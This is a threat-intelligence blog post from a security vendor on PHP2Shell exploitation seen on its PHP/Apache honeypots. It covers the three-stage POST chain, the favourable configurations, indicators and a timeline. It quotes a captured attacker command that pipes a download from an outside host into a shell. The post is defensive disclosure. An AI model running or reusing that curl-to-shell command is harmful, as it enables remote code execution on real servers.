> ## Content Index > Fetch the complete content index at: https://blog.previdian.com/llms.txt > Use this file to discover other available public pages before exploring further. # PHP2Shell Activity Across Previdian Network - URL: https://blog.previdian.com/php2shell-activity-across-previdian-network/ - Published: 2026-10-28T11:05:27.000Z - Updated: 2026-10-28T11:15:22.000Z - Author: Ryan Dewhurst **Previdian Research — 28 October 2026** On 28 October, Previdian observed successful remote code execution on four PHP/Apache honeypots configured to provide highly favourable conditions for exploitation. Apache launched an attacker-supplied shell command and a download process. The payload identified on the attacker's download infrastructure contained only `sleep 5`, consistent with an exploitation-verification probe. The sensors had no outbound route, which prevented the follow-on download. We have been tracking [**CVE-2026-109618**](https://previdian.com/CVE-2026-109618?ref=blog.previdian.com) and [**CVE-2026-109619**](https://previdian.com/CVE-2026-109619?ref=blog.previdian.com), collectively known as PHP2Shell, through [Previdian Watch](https://previdian.com/watch?ref=blog.previdian.com) and our global honeypot network. Our observations now span preliminary probes, attempted exploit sequences and confirmed command execution. # Activity across our honeypot network Our network includes real installations of PHP applications and frameworks used by businesses and consumers, including Laravel, WordPress, Magento, Roundcube and others. Alongside those applications, we set up PHP environments that make it easier to observe a PHP2Shell exploit reaching its intended outcome. Our seven-day telemetry snapshot, taken on 28 October, contains **1,126 observations associated with** [**CVE-2026-109618**](https://previdian.com/CVE-2026-109618?ref=blog.previdian.com)**, from 110 distinct source IP addresses**. The reviewed activity includes preliminary probing and exploitation attempts. These figures describe recorded activity; successful execution is assessed separately using host evidence. ## Why these sensors favoured exploitation The four completed chains occurred on our PHP/Apache sensors in **Frankfurt, San Francisco, Singapore and Kansas City**. Each ran real **PHP 8.4.26 under Apache `mod_php`**, using the `php:8.4.26-apache` image. Their `/` page executed in PHP and was styled to resemble WordPress. PHP 8.4.26 preceded the [**8.4.27 security release**](https://www.php.net/archive/2026.php?ref=blog.previdian.com), which contained fixes for the two original PHP2Shell vulnerabilities. Three configuration choices helped the observed sequence progress: - **One reusable Apache worker.** `MaxRequestWorkers 1` kept the prefork pool to one worker, while `MaxConnectionsPerChild 0` [disabled recycling based on connection count](https://httpd.apache.org/docs/2.4/mod/mpm%5Fcommon.html?ref=blog.previdian.com#maxconnectionsperchild). This made it easier for successive stages to reach the same process and reuse its memory. - **PHP's own memory limit was reached.** The **128 MiB PHP limit** sat below a **384 MiB container limit**. The logged errors came from [PHP's out-of-memory handling](https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w?ref=blog.previdian.com). - **The upload path remained available.** [Session upload progress](https://www.php.net/manual/en/session.upload-progress.php?ref=blog.previdian.com) was enabled, and the observed **1.3–2.2 MB multipart POSTs** fit within the configured PHP and proxy request-size limits. # Command execution observed on 28 October ## Initial fingerprinting The activity began with fingerprinting. The source sent GET requests without a User-Agent to `/`, `/wp-login.php`, `/wp-includes/version.php`, `/readme.html`, `/license.txt` and `/nope.php`. Three POST requests followed on each of the PHP/Apache sensors: ## The first POST reaches the memory limit A **2,145,636-byte POST to `/`** carried `PHPSESSID` and `PHP_SESSION_UPLOAD_PROGRESS`. PHP exhausted its **128 MiB memory limit**. The server returned HTTP 200, but did not return the long session cookie seen in the next stage. ## The second POST returns a memory leak Approximately **150 milliseconds later**, a **1,314,521-byte POST** arrived with the same two fields. This response contained an approximately **19 KB percent-encoded PHPSESSID value** carrying the observed memory leak. Session startup then failed because that identifier could not be used for a session file under `/tmp`. The session-file errors occurred alongside the disclosure. ## The third POST reaches command execution The final **2,160,614-byte POST** carried the command stage. Apache spawned the attacker-supplied shell command. The PHP request also produced a memory-exhaustion fatal error. Runtime security tooling installed on the honeypots recorded `apache2` spawning a shell under **UID 33**. One of the San Francisco execution events was at around **01:50 UTC**. The command line was: ```text sh -c -- (curl 37455255:7|sh)& ``` The observed child command was: ```text curl 37455255:7 ``` The numeric host `37455255` is the decimal representation of **`2[.]59[.]133[.]151`**, the source address associated with the activity. The command attempted to retrieve content from that address on **TCP port 7** and pass it to a shell. ![](https://storage.ghost.io/c/1c/21/1c213298-6101-4c8a-9e02-660a9e08724c/content/images/2026/10/CVE-2026-109618_previdian.png) # The hosted payload and verification attempt The payload identified on the attacker's download infrastructure contained a single command: ```sh sleep 5 ``` This is consistent with an attempt to verify exploitation. If executed, the script would introduce a five-second pause. A request reaching the download server would also provide an out-of-band signal that the operator could record and correlate with scan targets. That could help build a list of servers where the exploit had reached command execution. ## What happened on our sensors The containers had `/bin/sh` and `curl` installed, so both tools were available to the launched command. They had **no outbound route**, which prevented retrieval of the hosted script after shell execution had already occurred. The PHP error logs from **San Francisco, Singapore and Kansas City** recorded zero bytes received and curl's connection failure to `2[.]59[.]133[.]151:7`. **Frankfurt** showed the same Apache, shell and curl process sequence, but its available log did not contain the corresponding curl failure message. The three sensors recorded the following curl error, shown here with the address defanged: ```text curl: (7) Failed to connect to 2[.]59[.]133[.]151 port 7 after 0 ms: Could not connect to server ``` On the four honeypots, we observed no successful script download, no `sleep 5` execution and no subsequent commands such as `id`, `uname` or `wget`. No second-stage script was stored. # What the different outcomes tell us The same scanner also sent multipart POSTs to our separate **WordPress deployment in the UK** and **Roundcube deployment in India**. Neither returned the oversized `PHPSESSID` disclosure or spawned a shell in the activity reviewed. These were off the shelf real applications, not configured to be highly favourable for exploitation. On these, exploitation failed. The successful sequence progressed through several distinct outcomes: memory exhaustion, a leak in the response cookie, and finally a command launched by Apache. Our observations suggest that reliable exploitation across different deployments is more demanding than the early discussion implied. The four completed chains demonstrate that exploitation remains possible. These configurations describe where we observed success; they do not define every exploitable deployment or establish that WordPress and Roundcube are safe when running vulnerable PHP. PHP's own advisory also [reports successful exploitation with multiple Apache workers](https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w?ref=blog.previdian.com), so increasing the worker count should not be treated as a fix. # Comparison with Adel Karimi's telemetry On 24 October, [Adel Karimi](https://adel.pplx.app/?ref=blog.previdian.com), who leads detection and response at Perplexity, published [evidence of successful PHP2Shell exploitation against his honeypots](https://github.com/0x4D31/honeypot-data/blob/main/reports/php2shell/2026-10-24-confirmed-rce.md?ref=blog.previdian.com). His analysis and our 28 October observations share the same broad progression: PHP session-upload requests, memory exhaustion, an oversized session-cookie disclosure, and Apache launching a shell as UID 33. His [published evidence](https://github.com/0x4D31/honeypot-data/blob/main/reports/php2shell/2026-10-24-rce-evidence/README.md?ref=blog.previdian.com) covers 35 Apache-parent shell events across three PHP targets. His successful targets and ours shared **PHP 8.4.26, Apache `mod_php`, a single worker and a 128 MiB PHP memory limit**. The captured requests and follow-on commands differ: | **Detail** | **Karimi's published telemetry** | **Previdian's 28 October observations** | | ---------------------- | ---------------------------------------------------------- | ------------------------------------------------------------------------------------------------- | | POST sequence | Four stages, including a second memory-pressure request | Three stages | | Leaked session cookie | 800 KiB after URL decoding | Approximately 19 KB, measured in percent-encoded form | | Execution-request body | 451,384 bytes in the representative chain | 2,160,614 bytes | | Source addresses | 15\[.\]204\[.\]59\[.\]70 and 162\[.\]35\[.\]99\[.\]94 | 2\[.\]59\[.\]133\[.\]151 | | Follow-on activity | Identity checks, proof-file attempts and download commands | Backgrounded curl-to-shell command; the separately inspected hosted script contained only sleep 5 | ![Adel Karimi's PHP2Shell RCE confirmation, 24 October 2026](https://storage.ghost.io/c/1c/21/1c213298-6101-4c8a-9e02-660a9e08724c/content/images/2026/10/data-src-image-3f2a406c-abac-4d0b-926a-7a82197a2102.png) *Adel Karimi's* [*24 October 2026 post*](https://x.com/0x4D31/status/2114027420084752479?ref=blog.previdian.com) *confirming remote code execution and describing the relationship between the disclosure and execution payload.* # Our warning and observation timeline All times are UTC. Public milestones provide context for Previdian's warning and sensor records. | **Date and time** | **Milestone** | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **20 October, around 15:00** | **Public context:** the CVE identifiers [circulated with inaccurate release details and a claimed CVSS 10.0 score](https://thephp.foundation/blog/2026/10/21/todays-php-security-release-and-how-were-strengthening-php-security/?ref=blog.previdian.com). PHP subsequently confirmed 9.2. | | **20 October, 19:30** | **PHP confirmation:** the project [announced an upcoming critical security release](https://thephp.foundation/blog/2026/10/21/todays-php-security-release-and-how-were-strengthening-php-security/?ref=blog.previdian.com) and brought its planned release forward by one day. | | **20 October, 19:33** | **Customer early warning:** [CVE-2026-109618](https://previdian.com/CVE-2026-109618?ref=blog.previdian.com) and [CVE-2026-109619](https://previdian.com/CVE-2026-109619?ref=blog.previdian.com) were added to Previdian Watch, making them available to Pro and Enterprise customers. | | **21 October** | **Public PoC activity:** our [catalogue of PHP2Shell-related repositories](https://previdian.com/CVE-2026-109618?ref=blog.previdian.com) contains repositories created on this date, including one timestamped 04:38 UTC. A repository's creation time does not establish when its code became functional. | | **21 October, 13:05:34** | **First retained probe:** our telemetry records a small multipart POST to a Laravel sensor, which returned HTTP 405\. This event did not establish successful exploitation. | | **21 October, 13:31–13:35** | **PHP patches:** the project [published fixed release artifacts, announcements, advisories and source](https://scherzer.dev/Blog/20261022-php2shell-timeline?ref=blog.previdian.com) for PHP 8.2.35, 8.3.36, 8.4.27 and 8.5.12. | | **21–22 October** | **Previdian feed entries:** [CVE-2026-109618](https://previdian.com/CVE-2026-109618?ref=blog.previdian.com) and [CVE-2026-109619](https://previdian.com/CVE-2026-109619?ref=blog.previdian.com) entered our known-exploited feed on 21 and 22 October respectively, based on high-confidence third-party reports of exploitation attempts. These were not confirmations of execution on our sensors. | | **24 October** | **Independent confirmation:** Adel Karimi [published evidence of successful PHP2Shell exploitation against his honeypots](https://github.com/0x4D31/honeypot-data/blob/main/reports/php2shell/2026-10-24-confirmed-rce.md?ref=blog.previdian.com). His findings align with the broad progression we later observed, with differences in the captured requests and commands. | | **26 October** | **CISA KEV:** [both original PHP2Shell CVEs were added to the catalog](https://content.govdelivery.com/accounts/USDHSCISA/bulletins/4309083?ref=blog.previdian.com). | | **28 October** | **Confirmed execution:** correlated request, PHP error-log and runtime evidence showed attacker-controlled command execution on four favourable PHP/Apache sensors. | Previdian Watch customers could follow both vulnerabilities from 20 October, before our first retained related probe on 21 October and CISA's listing on 26 October. Today's confirmed command execution is a later, separately evidenced milestone. # Investigation leads from this activity | **Indicator** | **Observed value** | | ------------------------------ | --------------------------------------------------------------------------------------------- | | Source address | 2\[.\]59\[.\]133\[.\]151 | | Attempted download destination | 2\[.\]59\[.\]133\[.\]151:7, expressed in the command as 37455255:7 | | Hosted payload | sleep 5, identified on the download infrastructure; execution was not observed on our sensors | | Session fields | PHPSESSID and PHP\_SESSION\_UPLOAD\_PROGRESS | | Response anomaly | Approximately 19 KB percent-encoded PHPSESSID value during the disclosure stage | | Process evidence | apache2 launching a shell under UID 33, followed by curl | For remediation, follow [PHP's current security guidance](https://www.php.net/archive/2026.php?ref=blog.previdian.com). Verify that the runtime serving web requests contains the relevant fixes; an unsuccessful exploit attempt does not establish that a deployment is patched. Previdian will continue tracking PHP2Shell activity and updating our records for [CVE-2026-109618](https://previdian.com/CVE-2026-109618?ref=blog.previdian.com) and [CVE-2026-109619](https://previdian.com/CVE-2026-109619?ref=blog.previdian.com) as the evidence develops. # Telemetry scope The count above is from the seven-day window **21 October 10:12:39 to 28 October 10:12:39 UTC**. It uses the **1,126 observations associated with CVE-2026-109618**. The CVE-2026-109619 series contains overlapping records and is not added to that total. # Get early warning for the products you run Follow the vendors, products and vulnerabilities that matter to your team with [Previdian Watch](https://previdian.com/watch?ref=blog.previdian.com). Get alerts about new exploitation evidence, sensor activity and public proof-of-concept releases, with the context to decide what to investigate and patch. [**Start your 14-day Pro trial**](https://previdian.com/account/signup?intent=pro%5Ftrial&plan=pro&ref=blog.previdian.com) *No credit card required.*